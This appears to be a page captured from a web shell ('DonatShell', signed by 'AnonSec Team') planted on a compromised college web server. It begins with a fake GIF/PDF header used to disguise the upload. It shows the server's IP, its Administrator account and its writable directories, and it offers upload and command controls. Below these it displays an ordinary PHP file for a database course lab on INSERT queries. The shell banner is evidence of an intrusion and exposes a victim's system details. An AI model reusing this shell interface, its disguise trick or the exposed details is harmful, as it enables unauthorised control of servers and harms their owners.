GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/Labs/_Archive/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Labs/_Archive/Lab03/Lab03.phpinc
<?
// MichaelMalz/CST1600/Labs/Lab01/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');
include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');

$evaluationNumber = 3;
$evaluationType = "Lab";
$evaluationTitle = "Data INSERT";
if ( !isset($assignmentSuffix) ) $assignmentSuffix = '';
$evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix;

$title = $evaluationType." ".$evaluationNumber.' - '.$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = username($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName);
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
include('common/sectionHeader.phpinc');
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
The purpose of this lab is to demonstrate your ability to create an INSERT query.
<br><b>Note: Use the data set you obtained in <a href="../Lab01">Lab 1 </a> for this lab.</b>
<br><?=$gradeNote?>
<ol>
  <li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Write an INSERT query that will insert a minimum of six rows of data to your database and save it to the file <b><i>table</i>.sql</b> in your <b><?=$evaluationName?></b> directory (where <b><i>table</i></b> is replaced by the table name in your database).
		If your database contains multiple tables, an INSERT query will need to be written for each table with its own <b><i>table</i>.sql</b> file. There need not be six rows of data for each table, but at minimum a total of six rows inserted.
	</li>
	<li>
		Execute the INSERT query or queries to insert the data.
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
include('Gradebook/EvaluationSubmission_END.phpinc');
$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
#include('../../CST1600GradingCriteria.phpinc');
#include('../../Notes/notes.phpinc');
include('common/sectionFooter.phpinc');
include('../../ReferencesResources.phpinc');
include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team